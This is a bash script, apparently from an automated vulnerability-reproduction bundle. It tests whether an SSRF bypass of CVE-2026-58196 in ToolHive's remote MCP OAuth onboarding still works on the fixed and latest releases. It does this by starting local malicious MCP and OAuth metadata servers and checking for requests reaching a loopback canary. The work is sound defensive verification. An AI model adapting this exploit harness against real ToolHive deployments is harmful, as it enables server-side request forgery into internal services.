#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory. This script lives in bundle/vuln_variant/.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
STAGE_DIR="$ROOT/vuln_variant"
LOGS="$ROOT/logs/vuln_variant"
RUNTIME_DIR="$STAGE_DIR/runtime"
mkdir -p "$STAGE_DIR" "$LOGS" "$RUNTIME_DIR"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

printf '[INFO] ToolHive CVE-2026-58196 variant reproduction started at %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
printf '[INFO] Bundle root: %s\n' "$ROOT"

THV_VULN_VERSION="0.30.0"
THV_FIXED_VERSION="0.31.0"
THV_LATEST_VERSION="0.38.0"
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
VULN_HIT=false
FIXED_HIT=false
LATEST_HIT=false
SUMMARY_NOTES="variant attempt started"

write_manifest() {
  python3 - "$STAGE_DIR/runtime_manifest.json" "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_PATH_REACHED" "$VULN_HIT" "$FIXED_HIT" "$LATEST_HIT" "$SUMMARY_NOTES" <<'PY'
import json, sys, time
path, service, health, reached, vuln_hit, fixed_hit, latest_hit, notes = sys.argv[1:]
def b(v): return str(v).lower() == "true"
manifest = {
    "created_at": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
    "entrypoint_kind": "authenticate",
    "entrypoint_detail": "ToolHive CLI remote MCP onboarding (`thv run <URL> --remote-auth`) with a direct RFC 9728 resource_metadata document whose authorization server metadata is later re-fetched by the DCR resolver and redirected to a separate loopback canary.",
    "service_started": b(service),
    "healthcheck_passed": b(health),
    "target_path_reached": b(reached),
    "runtime_stack": ["toolhive-thv", "malicious-remote-mcp-server", "malicious-oauth-metadata-server", "internal-loopback-canary"],
    "observations": {
        "vulnerable_canary_hit": b(vuln_hit),
        "fixed_0_31_0_canary_hit": b(fixed_hit),
        "latest_0_38_0_canary_hit": b(latest_hit)
    },
    "proof_artifacts": [
        "logs/vuln_variant/reproduction_steps.log",
        "logs/vuln_variant/variant_attempts.jsonl",
        "logs/vuln_variant/vulnerable_thv.log",
        "logs/vuln_variant/fixed_thv.log",
        "logs/vuln_variant/latest_thv.log",
        "logs/vuln_variant/vulnerable_auth.log",
        "logs/vuln_variant/fixed_auth.log",
        "logs/vuln_variant/latest_auth.log",
        "logs/vuln_variant/vulnerable_canary.log",
        "logs/vuln_variant/fixed_canary.log",
        "logs/vuln_variant/latest_canary.log",
        "logs/vuln_variant/vulnerable_version.txt",
        "logs/vuln_variant/fixed_version.txt",
        "logs/vuln_variant/latest_version.txt",
        "logs/vuln_variant/source_revisions.txt"
    ],
    "notes": notes
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2, sort_keys=True)
    f.write("\n")
PY
}

cleanup() {
  set +e
  for pidfile in "$RUNTIME_DIR"/*.pid; do
    [ -f "$pidfile" ] || continue
    pid="$(cat "$pidfile" 2>/dev/null || true)"
    [ -n "$pid" ] && kill "$pid" 2>/dev/null || true
  done
  wait 2>/dev/null || true
  write_manifest
}
trap cleanup EXIT
write_manifest

# Locate or create reusable binary cache. If Pruva prepared a project cache, use it
# only for reusable binaries/source metadata; proof stays under bundle/logs and bundle/vuln_variant.
PROJECT_CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR="$(python3 - "$ROOT/project_cache_context.json" <<'PY'
import json, sys
try:
    data=json.load(open(sys.argv[1], encoding='utf-8'))
    print(data.get('project_cache_dir','') if data.get('prepared') is True else '')
except Exception:
    print('')
PY
)"
fi
if [ -n "$PROJECT_CACHE_DIR" ]; then
  CACHE_ROOT="$PROJECT_CACHE_DIR"
else
  CACHE_ROOT="$STAGE_DIR/cache"
fi
BIN_ROOT="$CACHE_ROOT/bin"
REPO="$CACHE_ROOT/repo"
mkdir -p "$BIN_ROOT"

ensure_thv() {
  ver="$1"
  dest="$BIN_ROOT/toolhive-$ver"
  bin="$dest/thv"
  if [ ! -x "$bin" ]; then
    mkdir -p "$dest"
    archive="$BIN_ROOT/toolhive-$ver.tar.gz"
    url="https://github.com/stacklok/toolhive/releases/download/v$ver/toolhive_${ver}_linux_amd64.tar.gz"
    printf '[INFO] Downloading ToolHive %s from %s\n' "$ver" "$url"
    curl -fsSL "$url" -o "$archive"
    tar -xzf "$archive" -C "$dest"
    chmod +x "$bin" 2>/dev/null || true
  fi
  if [ ! -x "$bin" ]; then
    printf '[ERROR] ToolHive binary not found at %s\n' "$bin"
    return 1
  fi
}

ensure_thv "$THV_VULN_VERSION"
ensure_thv "$THV_FIXED_VERSION"
ensure_thv "$THV_LATEST_VERSION"
THV_VULN="$BIN_ROOT/toolhive-$THV_VULN_VERSION/thv"
THV_FIXED="$BIN_ROOT/toolhive-$THV_FIXED_VERSION/thv"
THV_LATEST="$BIN_ROOT/toolhive-$THV_LATEST_VERSION/thv"

"$THV_VULN" version > "$LOGS/vulnerable_version.txt" 2>&1 || true
"$THV_FIXED" version > "$LOGS/fixed_version.txt" 2>&1 || true
"$THV_LATEST" version > "$LOGS/latest_version.txt" 2>&1 || true
{
  printf 'vulnerable_binary=%s\n' "$THV_VULN"
  cat "$LOGS/vulnerable_version.txt" || true
  printf '\nfixed_binary=%s\n' "$THV_FIXED"
  cat "$LOGS/fixed_version.txt" || true
  printf '\nlatest_binary=%s\n' "$THV_LATEST"
  cat "$LOGS/latest_version.txt" || true
  if [ -d "$REPO/.git" ]; then
    printf '\nsource_repo=%s\n' "$REPO"
    for ref in "v$THV_VULN_VERSION" "v$THV_FIXED_VERSION" "v$THV_LATEST_VERSION"; do
      printf '%s=' "$ref"
      git -C "$REPO" rev-parse "$ref^{commit}" 2>/dev/null || true
    done
    printf 'current_head='; git -C "$REPO" rev-parse HEAD 2>/dev/null || true
  fi
} > "$LOGS/source_revisions.txt"

HELPER="$STAGE_DIR/variant_lab_servers.py"
if [ ! -f "$HELPER" ]; then
  printf '[ERROR] Missing helper server script: %s\n' "$HELPER"
  printf '[ERROR] The variant bundle must include bundle/vuln_variant/variant_lab_servers.py.\n'
  exit 1
fi
python3 -m py_compile "$HELPER"

pick_port() {
  python3 - <<'PY'
import socket
s=socket.socket(); s.bind(("127.0.0.1",0)); print(s.getsockname()[1]); s.close()
PY
}

wait_http() {
  url="$1"
  for _ in $(seq 1 50); do
    code="$(curl -sS --max-time 1 -o /dev/null -w '%{http_code}' "$url" 2>/dev/null || true)"
    case "$code" in 200|401|404) return 0;; esac
    sleep 0.1
  done
  return 1
}

kill_role_pids() {
  prefix="$1"
  for pidfile in "$RUNTIME_DIR/${prefix}"_*.pid; do
    [ -f "$pidfile" ] || continue
    pid="$(cat "$pidfile" 2>/dev/null || true)"
    [ -n "$pid" ] && kill "$pid" 2>/dev/null || true
  done
  wait 2>/dev/null || true
}

run_attempt() {
  role="$1"
  thv="$2"
  printf '\n[INFO] === Variant attempt on %s using %s ===\n' "$role" "$($thv version 2>/dev/null | tr '\n' ' ' || true)"

  remote_port="$(pick_port)"
  auth_port="$(pick_port)"
  canary_port="$(pick_port)"
  remote_url="http://127.0.0.1:${remote_port}/mcp"
  auth_url="http://127.0.0.1:${auth_port}"
  resource_metadata_url="${auth_url}/resource-metadata"
  canary_metadata_url="http://127.0.0.1:${canary_port}/.well-known/oauth-authorization-server"

  remote_log="$LOGS/${role}_remote.log"
  auth_log="$LOGS/${role}_auth.log"
  canary_log="$LOGS/${role}_canary.log"
  thv_log="$LOGS/${role}_thv.log"
  : > "$remote_log"; : > "$auth_log"; : > "$canary_log"; : > "$thv_log"
  rm -f "$RUNTIME_DIR/${role}"_*.pid

  python3 "$HELPER" --role canary --host 127.0.0.1 --port "$canary_port" \
    --log "$canary_log" --issuer-url "$auth_url" \
    > "$LOGS/${role}_canary.stdout" 2>&1 & echo $! > "$RUNTIME_DIR/${role}_canary.pid"
  python3 "$HELPER" --role auth --host 127.0.0.1 --port "$auth_port" \
    --log "$auth_log" --remote-url "$remote_url" --issuer-url "$auth_url" \
    --canary-metadata-url "$canary_metadata_url" \
    > "$LOGS/${role}_auth.stdout" 2>&1 & echo $! > "$RUNTIME_DIR/${role}_auth.pid"
  python3 "$HELPER" --role remote --host 127.0.0.1 --port "$remote_port" \
    --log "$remote_log" --resource-metadata-url "$resource_metadata_url" \
    > "$LOGS/${role}_remote.stdout" 2>&1 & echo $! > "$RUNTIME_DIR/${role}_remote.pid"

  wait_http "$remote_url"
  wait_http "$resource_metadata_url"
  wait_http "$canary_metadata_url"
  SERVICE_STARTED=true
  HEALTHCHECK_PASSED=true

  # Clear startup/healthcheck probes so only ToolHive-triggered requests remain.
  : > "$remote_log"; : > "$auth_log"; : > "$canary_log"

  home_dir="$RUNTIME_DIR/home_${role}"
  xdg_dir="$RUNTIME_DIR/xdg_${role}"
  mkdir -p "$home_dir" "$xdg_dir"

  # The OAuth browser phase is intentionally not completed. The SSRF oracle is
  # the canary request during dynamic-client-registration metadata re-discovery,
  # which happens before ToolHive waits for the user callback.
  timeout 15 env HOME="$home_dir" XDG_CONFIG_HOME="$xdg_dir" NO_COLOR=1 TOOLHIVE_NO_UPDATE_CHECK=1 \
    "$thv" --debug run "$remote_url" \
      --name "cve-2026-58196-variant-${role}" \
      --remote-auth \
      --remote-auth-skip-browser \
      --remote-auth-timeout 5s \
      --foreground \
      > "$thv_log" 2>&1 || true
  sleep 0.5

  remote_count="$(grep -c 'remote_mcp' "$remote_log" 2>/dev/null || true)"
  auth_count="$(grep -c 'auth_server' "$auth_log" 2>/dev/null || true)"
  canary_count="$(grep -c 'internal_canary' "$canary_log" 2>/dev/null || true)"
  if [ "$auth_count" -gt 0 ]; then TARGET_PATH_REACHED=true; fi
  printf '[INFO] %s: remote requests=%s, auth-server events=%s, internal canary events=%s\n' \
    "$role" "$remote_count" "$auth_count" "$canary_count"

  python3 - "$LOGS/variant_attempts.jsonl" "$role" "$remote_url" "$resource_metadata_url" "$auth_url" "$canary_metadata_url" "$remote_count" "$auth_count" "$canary_count" "$thv_log" "$auth_log" "$canary_log" <<'PY'
import json, sys, time
(out, role, remote, resource, auth, canary, rcnt, acnt, ccnt, thvlog, authlog, canarylog) = sys.argv[1:]
with open(out, "a", encoding="utf-8") as f:
    f.write(json.dumps({
        "ts": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
        "role": role,
        "remote_url": remote,
        "resource_metadata_url": resource,
        "authorization_server_url": auth,
        "canary_metadata_url": canary,
        "remote_request_count": int(rcnt),
        "auth_server_event_count": int(acnt),
        "canary_event_count": int(ccnt),
        "toolhive_log": thvlog,
        "auth_log": authlog,
        "canary_log": canarylog,
        "variant_oracle": "canary hit is caused by DCR resolver re-fetching AS metadata and following a cross-port redirect"
    }, sort_keys=True) + "\n")
PY

  kill_role_pids "$role"
  [ "$canary_count" -gt 0 ]
}

: > "$LOGS/variant_attempts.jsonl"

vuln_success=0
fixed_success=0
latest_success=0

if run_attempt vulnerable "$THV_VULN"; then
  vuln_success=1
fi
if [ "$vuln_success" -gt 0 ]; then VULN_HIT=true; fi
write_manifest
sleep 0.5

if run_attempt fixed "$THV_FIXED"; then
  fixed_success=1
fi
if [ "$fixed_success" -gt 0 ]; then FIXED_HIT=true; fi
write_manifest
sleep 0.5

if run_attempt latest "$THV_LATEST"; then
  latest_success=1
fi
if [ "$latest_success" -gt 0 ]; then LATEST_HIT=true; fi
write_manifest

printf '\n[INFO] Variant canary-hit summary: vulnerable=%s fixed_v0.31.0=%s latest_v0.38.0=%s\n' \
  "$vuln_success" "$fixed_success" "$latest_success"

if [ "$fixed_success" -gt 0 ]; then
  SUMMARY_NOTES="confirmed bypass: the DCR resolver metadata re-fetch follows a cross-host/cross-port redirect to the loopback canary on fixed ToolHive v0.31.0; latest v0.38.0 result=${latest_success}"
  write_manifest
  printf '[CONFIRMED] Variant bypass reproduced on fixed ToolHive v0.31.0.\n'
  exit 0
else
  SUMMARY_NOTES="not confirmed: vulnerable=${vuln_success}, fixed=${fixed_success}, latest=${latest_success}; inspect logs under bundle/logs/vuln_variant"
  write_manifest
  printf '[NOT CONFIRMED] Variant did not reproduce on fixed ToolHive v0.31.0.\n'
  exit 1
fi